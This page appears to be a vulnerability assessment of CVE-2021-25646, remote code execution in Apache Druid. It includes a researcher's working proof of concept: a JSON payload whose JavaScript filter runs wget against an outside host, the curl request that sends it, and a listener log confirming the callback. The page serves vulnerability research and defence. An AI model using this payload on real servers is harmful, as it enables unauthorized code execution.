High
CVE-2021-25646
CVE-2021-25646
Description
Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.
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Technical Analysis
From Wikipedia:
Druid is a column-oriented, open-source, distributed data store written in Java. Druid is designed to quickly ingest massive quantities of event data, and provide low-latency queries on top of the data.[1] The name Druid comes from the shapeshifting Druid class in many role-playing games, to reflect the fact that the architecture of the system can shift to solve different types of data problems.
Druid is commonly used in business intelligence/OLAP applications to analyze high volumes of real-time and historical data.[2] Druid is used in production by technology companies such as Alibaba,[2] Airbnb,[2] Cisco,[3][2] eBay,[4] Lyft,[5] Netflix,[6] PayPal,[2] Pinterest,[7] Twitter,[8] Walmart,[9] Wikimedia Foundation[10] and Yahoo.[11]
Contrary to the CVE description, this appears to be both unauthenticated and vulnerable in the default configuration of Apache Druid 0.20.0, at least from Docker?
wvu@kharak:~/Downloads$ curl -vH "Content-Type: application/json" http://127.0.0.1:8888/druid/indexer/v1/sampler -d @payload.json * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 8888 (#0) > POST /druid/indexer/v1/sampler HTTP/1.1 > Host: 127.0.0.1:8888 > User-Agent: curl/7.64.1 > Accept: */* > Content-Type: application/json > Content-Length: 949 > * upload completely sent off: 949 out of 949 bytes < HTTP/1.1 200 OK < Date: Sat, 06 Feb 2021 02:23:07 GMT < Date: Sat, 06 Feb 2021 02:23:07 GMT < Content-Type: application/json < Vary: Accept-Encoding, User-Agent < Content-Length: 999 < * Connection #0 to host 127.0.0.1 left intact {"numRowsRead":1,"numRowsIndexed":1,"data":[{"input":{"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"https://druid.apache.org/data/wikipedia.json.gz\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"},"parsed":{"__time":1262304000000,"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"https://druid.apache.org/data/wikipedia.json.gz\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"}}]}* Closing connection 0 wvu@kharak:~/Downloads$
wvu@kharak:~$ ncat -lkv 8080 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::8080 Ncat: Listening on 0.0.0.0:8080 Ncat: Connection from 192.168.123.1. Ncat: Connection from 192.168.123.1:56727. GET / HTTP/1.1 Host: 192.168.123.1:8080 User-Agent: Wget Connection: close
payload.json is adapted from this PoC, then formatted with jq.
wvu@kharak:~/Downloads$ cat payload.json { "type": "index", "spec": { "type": "index", "ioConfig": { "type": "index", "inputSource": { "type": "http", "uris": [ "https://druid.apache.org/data/example-manifests.tsv" ] }, "inputFormat": { "type": "tsv", "findColumnsFromHeader": true } }, "dataSchema": { "dataSource": "sample", "timestampSpec": { "column": "timestamp", "missingValue": "2010-01-01T00:00:00Z" }, "dimensionsSpec": {}, "transformSpec": { "transforms": [], "filter": { "type": "javascript", "function": "function(value){return java.lang.Runtime.getRuntime().exec('wget http://192.168.123.1:8080/')}", "dimension": "added", "": { "enabled": "true" } } } }, "tuningConfig": { "type": "index" } }, "samplerConfig": { "numRows": 50, "timeoutMs": 10000 } } wvu@kharak:~/Downloads$
Some references for creating your own PoC:
Technical Analysis
Agree with @wvu-r7’s assessment. An installation of Apache Druid from the official release archives was technically vulnerable by default. No auth required, and then the JavaScript execution setting can be enabled in a single request. That same request can hold the payload that gets an attacker RCE as well. The ingestion format is well-documented on Apache Druid’s site, so creating an exploit from scratch is relatively trivial. Wanted to add to this, as there is now a Metasploit Module in the works.
CVSS V3 Severity and Metrics
General Information
Vendors
- apache
Products
- druid
Metasploit Modules
References
Advisory
